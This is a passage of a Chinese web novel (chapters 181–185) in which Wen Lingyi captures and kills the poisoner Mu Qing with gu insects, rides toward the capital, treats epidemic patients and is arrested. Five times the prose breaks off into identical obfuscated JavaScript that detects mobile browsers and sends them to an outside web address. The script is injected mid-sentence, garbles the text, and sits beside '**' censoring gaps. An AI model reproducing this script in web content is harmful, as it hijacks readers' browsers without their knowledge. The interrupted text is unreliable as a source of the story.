“召集亲卫军,围住这个院子!”晏怀卿动了杀心,他双目赤红的看着屋内,穆青是个残废,可穆青跟前的高手太厉害,自己与之交手两次已经领教过了,若是贸然冲进去,无异于以卵击石。 就在福安出去调兵的时候,黑衣人从屋子里推着穆青出来了。 穆青抬头看着晏怀卿:“你想要杀我?真真是太糊涂!晏怀卿啊,若非你我各取所需,我会跟在你身边?” 晏怀卿怒目等着穆青:“你到底是谁的人?为何要杀我儿!两个有孕的妾室**的?穆青,你别忘了,当初是你主动投靠秦国公府的!秦国公府对你何曾有过亏欠?把你奉为上宾,处处都听你差遣!” “她们为何死我不知道,但你这个逆子害我!”穆青说着,剧烈的咳嗽起来,拿帕子擦拭嘴角的血迹:“给我下毒!” “哈哈哈哈!”晏怀卿心虚的狂笑,抬起手指着穆青:“你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845052|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有脸说这样的话?天底下用毒最厉害的人是你!你说我的儿子对你下毒?就问你自己信不信!” 穆青扶着轮椅扶手的手青筋凸起:“他是在帮温令仪做事!要杀我的人温令仪!” “她想要杀你?”晏怀卿看热闹才不怕事大,语气带着调侃的说道:“这不是正好吗?你不一直都想要杀她吗?你们可以好好较量一番啊,跟我们晏家有什么关系?” 穆青本来只是试探,看到这样的晏怀卿只觉得自己当初是瞎了眼。 “走。”穆青吩咐身边的黑衣人。 晏怀卿听到外面的声音,知道自己的兵马到了,冷笑:“走?那么容易吗?也不问问我?” “你敢拦我?”穆青冷声。 晏怀卿抬起手:“弓箭手!若有人敢踏出这个院子半步,杀无赦!” 话音落下,外面都是搭箭拉弓的声音。 穆青怒喝:“晏怀卿!你忘恩负义的小人!今日我偏要走,你能拦得住我?” “他拦不住吗?加上我们呢?”温令仪从门外走进来,身边是三师兄陆沉舟,四师兄百里清、七师兄阚无涯和小师兄沐白。 晏怀卿看温令仪这些人,再看穆青,竟然有一种解脱了的感觉。 他都不记得从什么时候开始的,已经不指望穆青能给自己解毒了,如今自己也不在乎半边月的毒了,所以穆青要死在这里! 自己联手温令仪诛杀了穆青,药王谷就能为己所用! 穆青不死,早晚会反噬自己! 想到这里,晏怀卿跑到温令仪面前扑通跪倒在地:“令仪,我有罪!我当初就不该受穆青蛊惑,说你是解半边月的药引,少了你谁都解不了半边月的毒,我现在才知道他用人血和人脑养蛊,根本就是利用我,幸好没有铸成大错,今日我会帮你替药王谷清理门户。” “晏怀卿!你这个小人!”穆青看着进来的人,警惕的竖起耳朵,担心还有没露面的高手,之前还没觉得温令仪会威胁到自己,但五脏出血,自己都查不出来是什么毒,他知道温令仪是冲自己来的,可想要走却难以脱身了,当初选晏怀卿真是瞎了眼! 晏怀卿回头挡在温令仪前面,举着长剑:“我娶令仪为妻本能做和美夫妻,偏偏你巧舌如簧,蛊惑祖父、父亲和我,害了我原本的好姻缘,如今我想明白了,你休想利用我,弓箭手!放箭!” 话音落下,翎羽箭如急雨一般射向穆青。 温令仪微微眯起眼睛,他是想要灭口啊? 第181章 杀了我,你就永远也得不到了! “呔!龌龊小人!” 一声断喝,穆青被一柄硕大的铁伞护在后面。 温令仪扫了眼愣住的晏怀卿,只觉得可笑,他是一点儿也不了解穆青啊。 真不知道把这么一个人留在府里那么久,他到底有没有想过是养虎为患?连查一查这个人的底细都没有,世家大族用人做事,从来都怕输在细枝末节上,千里之堤毁于蚁穴的道理谁不懂? 偏偏,他不懂。 挡住了这一波箭雨,周仓从铁伞后头走出来,抬头看温令仪:“你竟是等不得,这么急着动手吗?” “顺势而为。”温令仪微微颔首:“周大先生,我曾说过,你护着穆青我不管,我什么时候杀他,用什么手段杀他,也请周大先生别说我没告诉你。” 晏怀卿见灭口不成,立刻吩咐第二次放箭。 周仓打开了手里的折扇,断喝一声:“晏怀卿!若你敢再动手,我会踏平元帅府,鸡犬不留!” “放箭!放箭!”晏怀卿已经豁出去了。 周仓闪身躲到伞后。 穆青气沉丹田,声如洪钟:“温令仪!你我之间的恩怨太多,杀我尽可拿出本事来,晏怀卿绝非良人,当初入洞房的人都不是他,而是他的安危无烬,你的孩子也不是晏家血脉,而是无烬的种!而你的孩子一出生就被溺死在污水里,扔到了护城河里去了。” 温令仪面色如常。 晏怀卿却神色大变,转过头:“令仪!你听我说,你听我说!” 三师兄陆沉舟一脚踹开晏怀卿:“说?说个屁!你以为这些事我们不知道?” “背叛我!你注定没有好下场,晏怀卿,你会死无葬身之地的。”穆青说完这句话,一口血喷了出来。 周仓让黑衣人带他离开。 箭雨之下,铁伞后面,黑衣人抓起来穆青就要从后窗逃走。 温令仪抬眸看了眼,穆青死在这里,挺好的。 黑衣人破窗出来,还没等站稳,长鞭已飞来,精准的缠住了穆青的脖子。 若桃按下鞭子上的机括,长鞭上长满了长刺。 黑衣人想要往回抢人已来不及,因一个黑衣人突然出现,掌风凌厉的攻杀过来,他不得不放开穆青自保。 两个人缠斗在一起,黑衣人自持武功不弱,却根本占不到上风,反而被逼的步步后退。 若桃趁机把穆青卷到了脚底下,一脚踹在穆青的檀中穴上,穆青口吐鲜血人事不省。 若非温令仪让若桃把人带去平安客栈,若桃恨不得把这个人**万段! “走!”黑衣人断喝一声。 若桃抓着穆青的后衣领,纵身几个腾跃离开了将军府直奔平安客栈。 “你是何人?”保护穆青的黑衣人退出一丈开外,看着跟自己穿着一模一样黑衣的人,问。 黑衣人冷声:“你不配知道,回去无影堂告诉你们当家的,他日某登门拜访。” 保护穆青失利,黑衣人知道自己若是再不走,活路就没了。 二话不说退走。 古哨声传来,温令仪知道得手了,看着铁伞的方向,一转身带着自己的人离开了。 先去看了小张氏,给小张氏留下了银票和马车,叮嘱她养好伤离开雁门关,至于晏明昭,不用叮嘱,小张氏都不会带在身边的。 事情办妥了,温令仪回去了平安客栈,五花大绑的穆青被扔进了马车里,一行人出城去见罗政。 罗政这几日勤加练兵,虽然伤势还不能太劳累,可温令仪就在雁门关城内,自己希望她能看到自己的努力,绝非曾经的纨绔。 邓二愁得唉声叹气,可也没办法,他这个兄弟一直以来都游戏人间,偏偏遇到了温令仪,更让人头疼的是温令仪已嫁为人妇了,这件事在邓二看来,怎么都是不着调的。 正在演武场上罗政立在高台上,看着手底下的将士们越发整齐的阵型,心里默默的许下诺言,曾经那些跟自己杀敌在前的兄弟们绝不会白死,一定要让西凉血债血偿! “报!” 罗政看向斥侯。 “报!雁门关城内来了药王谷的侠士,说是来助副将一臂之力!”斥侯声音洪亮。 罗政心头一喜,药王谷的人在他心里那就是温令仪,哪怕不是她亲自来,那也是跟她来没区别。 下了高台,大步流星的往辕门处迎接,抬眸看着马车临近,垂着的手臂缓缓地握紧了拳头,他怕自己沉不住气,当着这么多人的面让别人看出端倪,必定会让温令仪难堪的。 当罗政看到温令仪从马车上下来的时候,到底是没压得住翘起来的嘴角,快步迎过去拱手一礼:“令仪。” “罗副将。”温令仪还礼,往后看了眼下马车的众人说道:“这是我的四位师兄,这是我的妹妹若桃,若桃从小习武但不善阵前作战,她想要留在这边,不会给罗副将添麻烦,我的师兄们会照顾她。” 罗政一口答应下来:“行,行。” “师兄们会在你的麾下,治病疗伤的事可安心。”温令仪说。 罗政冲沐白几人拱手行礼。 众人进了大帐内落座,温令仪说:“如今晏怀卿无路可走,必定会往西凉去,一旦他去了西凉,你就可以号令和你一起来的武举人们,掌握兵权在手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水牢里,穆青被尖锐的刺痛唤醒,抬头就看到坐在对面的温令仪正笑望着自己,浑身起了一层细密的鸡皮疙瘩:“温令仪!我是你师叔!你要欺师灭祖不成?” “你也配?”温令仪起身,取出来一个罐子打开,直接扔到了水潭里。 穆青眼珠子都要冒出来了,看着那血色的蝎子直奔自己浸在水里的双腿冲过来,抬头怒吼:“温令仪!你不想找到大梁宝藏了吗?杀了我,你就永远也得不到了!” 第182章 罪魁祸首,是最该**万段的人! 温令仪取出来另一个罐子,罐子里的蜈蚣双眼血红,一看就是养成了的蛊虫,她看了眼穆青,微微的勾起了唇角:“大梁宝藏吗?” “对。”穆青已经感觉到了温令仪的心意,她要把自己所有的蛊虫都用在自己身上,这让他被无边无际的恐惧淹没了,像是抓到了救命稻草一般说:“当年师父在世时,让我学毒经的目的就是光复大梁,大梁宝藏里机关密布,所有的机关都淬了剧毒,随便一种毒都比半边月更厉害百倍不止,而打开大梁装着宝藏的地宫,就必须要有一个完全学会了毒经的人,如此才能平安的取到宝藏。” 温令仪点了点头:“原来是这样啊。” “大师兄不知道,我们的师父是大梁皇室的先祖,他救不了大梁的江山,是因为后代不争气,但上官子玉天资聪慧,是大梁血脉,师父曾说过,天下可以出一个女子为帝。”穆青提到往事,眼睛赤红:“师父是同意我和上官子玉结为夫妻的!都是大师兄横插一脚,他是继承药王谷衣钵的人,没有资格成为大梁的国驸!” 温令仪冷笑:“那又如何?姑姑不喜欢你!” “是!她不喜欢我,她瞧不起我!可是我学毒都是为了她!是她辜负了我!不肯跟我联手光复大梁,她和天成子才是师门的叛徒!唯有我为了能完成师父的遗愿,忍辱负重,苦心经营多年啊!”穆青盯着温令仪:“你以为大师兄为什么会收你为徒?又为什么不准你习武?” 温令仪把蜈蚣放进了竹杆里,这样可以直接把蜈蚣送到穆青的跟前。 听母亲不吭声了,抬眸看过来:“因为我像极了小时候的上官子玉,你们从小就一起长大,不让我习武是因为我的血很特别,能解百毒,一旦这个消息**湖中人知道,我没活路,只有我不习武,长大之后回到镇国公府,江湖各大门派就算知道我血有异效,也多数不会和朝廷为敌,当然也是为了不让你利用我,毕竟你对上官子玉的用心太过,而你一直都心思歹毒,绝无常人的是非德行。” “哈哈哈!”穆青笑得很大声,脸色涨红的他止住了小声:“天成子把这个秘密都告诉你了?” 温令仪面上不显,心里轻叹。 若非自己主动说了用血压制祖父几人的半边月毒,他老人家这辈子都不会说,只是穆青根本不需要知道这么多。 “你当年误打误撞救了要死的裴祈安,而我恰好亲眼所见,温令仪!我确实想要得到你,不过可不是你这个人,而是你的血肉!”穆青眼神阴狠起来。 温令仪把竹竿送到穆青跟前,看着蜈蚣爬到了穆青的身上,随后就是穆青凄厉的惨叫声,那蜈蚣生生从他左眼钻了进去。 取出来帕子擦了擦手,温令仪等穆青不再惨叫后才说:“我曾经被晏怀卿囚禁在地牢里三十年,晏家知道你想要的是什么,所以你拿不出来半边月的解药就不肯让你得偿所愿,而我到死也没离开地牢,所以你没有拿到你想要的,而且还会在解了半边月毒后,死在晏明昭的手里。” “你在胡言乱语些什么?”穆青一只眼在冒血,但跟身体的痛楚比起来,温令仪的话更让他震惊,不敢相信的看着温令仪。 温令仪淡淡的说:“解药你根本配不出来,但你知道大梁宝藏里就有毒方和解毒的方子甚至是解药,而你花言巧语骗了上官子玉,得到宝藏之后就被晏明昭杀了,所以你什么都没得到。” “不可能!不可能!你癔症了!”穆青不敢相信自己的耳朵,活了大半辈子什么人没见过,未卜先知都是骗人的伎俩。 温令仪眯起眼睛看着穆青:“大梁宝藏的地图就在上官子玉的身上,是一针一针绣在她后背上的,你以为得到上官子玉就得到了大梁宝藏,却不知道这世上任何人都不会得到她,因为她未许身为大梁,更不会让大梁宝藏落入任何一个野心勃勃的人手里,她要用这些民脂民膏为天下百姓做事,她许身给了苍生,穆青,你配得上她吗?” 穆青一张嘴,吐出来一口鲜血。 温令仪不再说话,而是慢条斯理的把所有装着蛊虫的罐子打开,放在水面上,这些罐子飘在水上,里面的各种毒虫四处乱爬,温令仪做完这一切,抽出**割破了自己的手指,一滴滴血落在碗里。 “你要干什么?”穆青惊恐的看着温令仪:“你杀我,你会被追杀的!我若是**,很多人都会死!” 温令仪冷笑的起身:“你猜,我给没给你下毒?你就在这里慢慢等死吧,五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845054|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏六腑溃烂,千重万蛊啃咬,穆青,我重生归来就是报仇的,而你是罪魁祸首,是最该**万段的人!” 穆青看着温令仪把那一碗血扔到了水池里,那些本来就乱窜的毒虫发了疯一般,绝望地尖叫着。 温令仪走出了水牢,门外站着小囡囡。 “娘亲。”小囡囡跑过来。 温令仪蹲下来把小囡囡抱在怀里,轻声说:“娘亲重生归来时,你已经被掉包了,娘亲以为你被害了,没有想尽办法去找你,可生气?” 小囡囡趴在温令仪的耳边:“不生气,娘亲,不轮到任何时候,生死攸关的时候,你要永远记住自己是第一位的,之后才是其他。” “但,自己的骨肉除外,天底下当娘的人啊,临盆一命换一命,能为自己的孩子拼命一次,就能拼命第二次,第三次,娘亲以后再也不会抛下囡囡了。”温令仪以为自己很平静,可泪水却夺眶而出了。 小囡囡轻轻地拍着温令仪的背,在心里说:她不会怪你,从来就没怪过你,只是心疼你,因为你是她的娘亲啊。 温令仪没着急离开军营,甚至没离开水牢,坐在水牢外面听穆青凄厉的喊了三天三夜,那声音越来越微弱,到最后彻底没了动静,她才轻轻地呼出一口气。 在她不远处还坐着一人,不是别人,而是解了蛊毒的周仓。 他来了两天两夜,就坐在外面闭目养神,听穆青惨叫到最后没了声音,才如释重负。 起身走到温令仪面前,拱手深鞠躬:“温令仪,周仓谢你搭救之恩,会陪着令嫒往西域三十六国,必定会护着令嫒全须全尾的回来。” 温令仪还礼:“那就劳您费心了。” 为了确定穆青已死,也为了确保不留下后患,温令仪和周仓再次打开了水牢,水牢里虫子的尸体到处都是,水牢里的穆青只下了雪白的骨头。 “周大先生。”温令仪出声。 周仓微微躬身:“夫人有何吩咐?” “吩咐谈不上,你看这些虫子是**的?”温令仪看着周仓。 周仓后背起了一层鸡皮疙瘩,他知道温令仪对自己动了杀心,若自己有一丝一毫私心,都休想活着离开这里…… 第183章 穷苦人家死个把人都掀不起风浪的 周仓尴尬的笑了:“夫人,这边是您看着在下来了,并且在这里两天两夜而没有任何想要阻止的原因?” “算是,若你不知道真相,也许会臆测,而你身为百晓生,就算是臆测也会被当成唯一的真相,三人成虎,众口铄金的道理,你我都懂。”温令仪说。 周仓点头,确实如此。 温令仪淡淡的说:“我的血可以解百毒,这些毒虫的克星,但少量的血会让这些毒虫疯狂,疯狂时候会攻击穆青,而穆青体内早就有能让他五脏六腑慢慢溃烂的毒,这些毒虫最终都会死在这里,一举两得。” 周仓愕然的瞪大了眼睛,他被‘我的血可以解百毒’这句话震惊到了,至于后面的话不难理解,自己也不觉得多么震撼,不对,是没有这句话更震撼。 温令仪看过来。 周仓下意识的吸了口冷气,收摄心神说道:“夫人,穆青多行不义必自毙,被自己豢养的蛊虫反噬而死,而他和晏怀卿勾结用伤兵养蛊,残害数十人,人神共愤。” 温令仪笑了:“周大先生,我们京城见。” 周仓看着离开的温令仪,不远处迎接她的人是戴了面具的裴祈安和小囡囡,抬起手拍了拍心口,他知道了更大的秘密,这天地下的事,少有人能看清全貌,不到尘埃落定的时候,谁能知道结果呢? 京城见。 天,已经变了。 只不过没人相信罢了,都是一知半解,唯有这一家三口知道在做什么吧。 小囡囡趴在裴祈安的肩膀上,冲着温令仪摆手:“娘亲,我很快就回来了,你要乖乖在家里等我们。” 温令仪心里头酸酸的,频偏点头。 她在回京之前还有一件事要做。 “温令仪!” 温令仪刚到辕门外,罗政就跑过来了,脸色涨红的他激动的伸出手就要抓温令仪的衣袖,对上温令仪的眸子,不好意思的收回手:“成了,晏怀卿去了西凉,刚刚离开大夏界。” “还有什么人在元帅府?”温令仪问。 罗政低声:“晏明昭和晏戈,不过两个人没什么本事了,他们手底下的人都**。” “准备快马,我要回京。”温令仪知道这里的一切都结束了,她要回去京城,若不然皇上会以自己离京为由,对温家发难。 “就算是快马,这里距京城千里之遥,怎么越要半个月才能到京。”罗政知道温令仪担心什么。 温令仪抿了抿嘴角:“我会先去泾河府。” “好。”罗政没有耽搁,把军中最好的马送给了温令仪。 温令仪换上男装,递给罗政一个信筒:“飞鸽传书回罗府,罗大人会安排好人接应我的。” “路上小心。”罗政不知道除了这句话,还能对温令仪说什么。 温令仪点了点头,翻身上马。 马背上的包袱里准备了充足的水和干粮,她要日夜兼程。 拍了拍马脖子,希望这匹马能坚持得住。 辞旧迎新的日子,温令仪从雁门关离开,日夜兼程直奔京城。 **京城,罗家。 罗岳接住了信鸽,取下来信筒看罢,急匆匆往书房去。 “祖父,雁门关来信。” 罗无咎接过来信看过,吩咐道:“去安排。” “是。”罗岳出门。 当晚,林嬷嬷、碧桃和海棠坐在马车里,赶车的无烬目光坚定,他们要尽快往泾河府去接应夫人。 温令仪勒马泾水河岸,抬头看着河面,天要黑了,自己想要连夜渡河显然不太可能。 “夫人。” 温令仪回头惊喜的看着来人,翻身下马的时候两条腿一颤,勉强站好。 南英到了近前:“少主吩咐老奴在这里等候夫人,这就送夫人过河。” “有劳了。”温令仪致谢。 撑船的人温令仪认得,正是送过一家人的江安。 江安心里激动的难以言表,尽管这次没见到小恩人,可是小恩人的母亲来了。 他掌舵,生怕有一点点儿闪失,不忘吩咐手底下的人好好喂马,那马高大俊美,但是累得都口吐白沫了。 准备的草料不算,江安还让人给马一些干粮吃。 温令仪进了船舱就昏睡过去了,紧绷的弦松下来,连一点点儿防御的心思都提不起来了。 南英带着人守在门外。 夫人累极了,不过夫人可能不知道,在她拼了性命赶路的时候,天道盟多少人都在拼命。 温令仪醒来的时候,耳边还有哗哗的水声,她揉着酸疼肿胀的腿,慢慢的站起身走动,若不然只怕自己一会儿连路都走不了了。 “夫人,靠岸了。”南英在门外说。 温令仪打开门走出来:“劳烦了。” “夫人,到了岸边有人接应,您只管上马车,暂时安顿在泾河府吧,京城那边已经接到了**晏怀卿的密信和证据。”南英说。 温令仪点头:“好的。” “罗大人已经安排好了一切,泾河府里有人保护夫人,尽可放心,老奴不能留在这边,少主吩咐老奴在雁门关等她。”南英说。 温令仪道谢后下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845055|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船,岸边早有马车等候,江安牵着战马下船时,哪里还有温令仪的影子,看看战马,他有些蒙了,这战马虽好,可若是留在自己家里可就是死罪。 “送去万福巷裴家就好。”南英说。 江安放下心来,下船回家,一进门就喊:“宝月娘,宝月娘,咱们恩人回来了,快随我去谢恩。” 妇人从屋子里出来,惊喜的问:“在哪里呢?” 看到战马,险些瘫软的坐在地上;“她爹,你这!你这马?” “没事,咱们这就送过去,宝月呢?宝祥和宝瑞呢?一起去,怎么也要磕个头谢恩的。”江安说。 一家人出门往泾河府来。 马车停下万福巷,温令仪下了马车,车夫上前叫门。 守门的小厮打开门,林嬷嬷、碧桃和海棠从屋子里跑出来,看到温令仪,林嬷嬷眼圈泛红:“夫人,您可算回来了。” “奶娘。”温令仪扶着林嬷嬷:“先进屋。” 众人进屋,护送温令仪来的人悄悄离开了。 林嬷嬷把房屋的契书给了温令仪:“夫人,这也不知道是谁安排的,我们前儿到的,这房契就送来了。” 温令仪看着房契上写着自己的名字,没解释,而是让林嬷嬷收好。 “还有,东厢房里都是草药。”碧桃说:“所有的器具都有。” 温令仪点了点头是:“便于别人查起来,咱们能过关。” 海棠去准备了热水和换洗衣物,温令仪沐浴的时候,查看腿上的伤,长途骑马,腿内侧都磨坏了,不过这点儿伤对自己来说不算什么,只是遭点儿罪罢了。 沐浴更衣后,温令仪用了些好克化的粥,刚眯了一会儿,守门的小厮到门外禀报:“嬷嬷,外面来了一家人,说是给夫人送马的。” 温令仪听到了,吩咐碧桃去接一家人进门。 “恩人!真的是恩人啊。”江安媳妇见到温令仪,跪下就磕头:“您是我们一家子的救命恩人。” 温令仪看着跪倒的一家子,伸出手扶着江安媳妇起身:“都起来吧,哪里就需要你们跪了,嬷嬷去准备吃喝,我和嫂子说说话。” “是。”林嬷嬷去准备。 温令仪问:“嫂子,如今这边还有没有病患?” 江安媳妇叹了口气:“一直都没消停,可也没多大的动静,穷苦人家死个把人都掀不起风浪的。” 温令仪蹙眉:“若是如此,开春还会有时疫反扑,这个不行。” “恩人,你有法子吗?”江安媳妇眼睛都亮了,这个是真能救命的活菩萨啊! 第184章 京城来抓人了 温令仪让江家媳妇和孩子们坐下,吩咐碧桃给他们准备吃喝,林嬷嬷在外面给江安准备了吃喝。 一家在这边住了一晚才回。 送都这一家人后,温令仪眉头紧锁,朝廷到底在做什么? 这些百姓能活下来本就不容易,当初在京城外,为了安置这些百姓下足了本钱,尽管这些本钱不是朝廷出的,可朝廷也应该明白一个道理,那就是这些得到了好处的百姓会觉得去京城有银子,一旦时疫因为春天的缘故再次肆虐,那这些人会倾巢出动往京城去,到时候天道盟不会再出面,朝廷有这个能力安抚好这些百姓吗? 人性如此,偏偏朝廷却没有提前想到这些可能,到时候百姓一乱,后果不堪设想。 若是换做从前,自己一定会尽可能的去做事,也会想尽办法把消息送到皇上跟前,可现在不能,大夏不乱,裴祈安怎么有机会?温家怎么会一劳永逸? 这一片土地上的百姓还不知道,真正为他们拼命的人是裴祈安,是墨染,是温家,而绝非朝廷。 天家无德,那就别怪有人要取而代之。 也正因为天家无德,才给了别人机会。 “我们暂时不离开。”温令仪安排林嬷嬷带着碧桃和海棠开始处理草药,让无烬陪着她出去到城里看看,果然看到了保和堂和众合商会。 温令仪没有打扰这些人,而是回去了自己暂住的院子休息了一天后,带着林嬷嬷走街串巷给人诊脉看病。 “夫人,去保和堂不是更好?”林嬷嬷有些担心,夫人这般行走在民间,若是遇到了歹人可就不妥当了。 温令仪摇头:“朝廷发现我不在京城,若查下来必定会追着你们来,我在保和堂露面的话,会露出破绽。” “老奴没想到这一层。”林嬷嬷安心下来,只想着护好温令仪。 温令仪诊脉不要诊金,给的草药价格也低廉,很快就有人慕名而来了。 索性,温令仪就打开大门,病人求医问药都可以到自家来,免去了在外面奔波的辛苦。 “小姐,咱们这是做给别人看啊?”碧桃小声问。 温令仪笑了:“不算是,这些人多数都在去年得过时疫,他们的脉象可以看出端倪,让我们能提前有个准备。” 白天诊脉看病,晚上整理药方,温令仪忙得很,没空胡思乱想。 哪里知道京城已经变了天,御林军围住了秦国公府,府里的仆从都被抓了起来。 永元帝得知府里的主子一个都不在,气得摔了茶盏:“早有叛国之心!真真是早就该斩草除根!朕到底是不够杀伐果断!” “皇上。”罗岳跪倒在地:“微臣听说前几日秦国公府的世子夫人带着随从离京,算算时间可能到了泾河府附近,只需要飞鸽传书给泾河府,应该能追上,就算追不上沿途都可以追击阻拦,未必能逃走。” 永元帝眯起眼睛看罗岳:“缓兵之计?” “绝非如此。”罗岳叩首在地:“但晏怀卿所做之事,可大可小,漠北是温家,是温令仪的亲人,温令仪不可能不为自己的亲人着想,漠北并无异动。” 永元帝沉吟片刻。 罗岳立刻说:“微臣前几日得知,镇国公给祖父写来了书信,请祖父往漠北去,说漠北的百姓犹如一盘散沙,若祖父能代表朝廷过去安民,对于漠北守卫,抵御西凉会有莫大的助益,奈何祖父身体确实不见起色,难堪重任,祖父让微臣转告皇上,镇国公的想法极好。” 说着,罗岳从袖袋里取出来了温城的书信。 永元帝看过书信,眼里竟是狐疑之色:“爱卿,你如何开现在的局面?” “按兵不动,暂时不去漠北,权利追温令仪,若温令仪能追回一问便知。”罗岳沉吟片刻说:“漠北若一直都没有异动,那就证明叛国之事温家并不知情,那么皇上善待温令仪,对温家来说是皇恩浩荡,在雁门关有罗政和武举同僚在,西凉就算相信晏怀卿,从雁门关入夏,雁门关守卫的将士们也绝非任人宰割的人,他们可都是天子门生。” 永元帝面色稍好一些,心里又一次想起来裴祈安了,若裴祈安在,怎么也不会让自己如此被动,现如今总觉得捉襟见肘,手底下没有几个好用的人。 飞鸽传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845056|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书,铁骑追兵,京城里风声鹤唳。 温令仪早一步得到消息,她把手里的药方放在匣子里,这些日子准备已经充足了。 “已经二月了。”温令仪看着外面的天儿,江南、江北就一江之隔,这里的春天来得及早,河边柳树已经吐出来了嫩芽,地气升腾的时候,也是时疫再次爆发的时候,百姓的苦难竟是如此应接不暇,令人唏嘘。 林嬷嬷递过来热茶:“夫人,我们现如今该怎么办?” “去保和堂。”温令仪说。 翌日,温令仪来到了保和堂。 保和堂里的郎中是从京城来的,名叫王友,年近五十,满头花白的头发,手底下的郎中有几个是当地的人。 这些人也都面露有色。 “夫人,如今有些情况不妙,越来越多的人有了时疫的症状。”王友说。 温令仪点头:“我早在一个月前就到这里了,并且一直都在给百姓诊病,这些方子可备用,根据病人身体的不同再做加减,应可以让百姓躲过一劫。” 王友喜出望外:“夫人真乃当世的活菩萨。” “自己人就无需说这些了。”温令仪问:“草药储备可充足?” 王友的脸色僵住了:“那要看多少人用,现如今草药是够用,可保和堂来这里时日还短,存储并不是很多。” 温令仪说:“那就去众合商会。” “众合商会?”王友点头:“好,我这就去问问。” 温令仪取下自己的印信交给林嬷嬷:“陪着王郎中一道去,说明是我让他们尽可能准备草药,账目记下来,回京后结算。” “是。” 林嬷嬷和王友离开。 温令仪亲自给人诊脉,傍晚时分,衙役围住了保和堂,众目睽睽之下,温令仪被带走了。 “这是咋了?”有百姓问。 有人说:“听说,秦国公世子叛国,这位世子夫人怕是难逃一**。” “不行!这可是我们的救命恩人,我们去衙门!”百姓里有人挑头,顿时群情激奋,这些人浩浩荡荡往衙门来…… 第185章 戴罪立功,你可愿意? 泾河府衙门。 温令仪并不认识泾河府的府尹。 林嬷嬷几个人也都被五花大绑的推搡到了大堂上。 温令仪抬头看着上面坐着的泾河府府尹,微微蹙眉,这个人面相真是难看,尖嘴猴腮鼠目,这种人怎么入仕的? 相由心生并非迷信,在会岐黄之术人的眼里,一个人的精气神和面相,可以让他们不说话也知道对方是什么脾性的人。 比如眼前这位,捧高踩低是必然的,心胸狭隘也是一定的,最主要的是唯利是图,这面相就是个自私自利的人,所以自己跟这样的人讲道理是没用的。 当然自己也没想过要讲道理,她想要尽快回去京城。 泾河府府尹一拍惊堂木:“见到本官还不跪下?” 温令仪倒也没多费话,刚要跪下,就听门口有人断喝一声:“吾乃靖安司千夫长谭庸,奉命押解秦国公世子夫人极其仆从归京,泾河府府尹不得阻拦。” 泾河府府尹赶紧起身,点头哈腰的请谭庸上座。 谭庸一抱拳:“使命在身,不能耽搁,孙大人请安排马车,立刻带这些人回京复命。” 泾河府府尹孙志胜。 听到这话,陪着笑脸:“谭大人,难道不是用木笼囚车吗?” “马车,还要好马车,回京路途遥远,要日夜兼程,不能耽搁。”谭庸正色,说。 孙志胜赶紧吩咐人去准备。 此时,门外**了许多百姓,这些百姓群情激昂,喊着:“放了温郎中!她是活菩萨,救了我们所有人!” 温令仪看了眼谭庸。 谭庸为不可见的点了点头。 孙志胜气急败坏的让衙役驱散这些百姓,生怕谭庸回去再告自己一状,百姓不安稳,那可是他办事不利。 显然,谭庸并没有在乎这些。 马车准备好,谭庸为温令仪几个人解开了捆绑。 温令仪跟在谭庸身后来到门口。 “温郎中!我们保护您。”有人高喊,这些百姓就往前冲,那意思是要抢人。 温令仪赶紧抱拳,扬声:“各位乡亲们,稍安勿躁,我只是回京去面圣,没有危险,只是开春后时疫会再来,我不能在这里为你们诊脉治病,心里不安呐。” 这一句话,百姓们都傻眼了,时疫? 那可是会死很多人的啊,听到这两个字都胆寒啊。 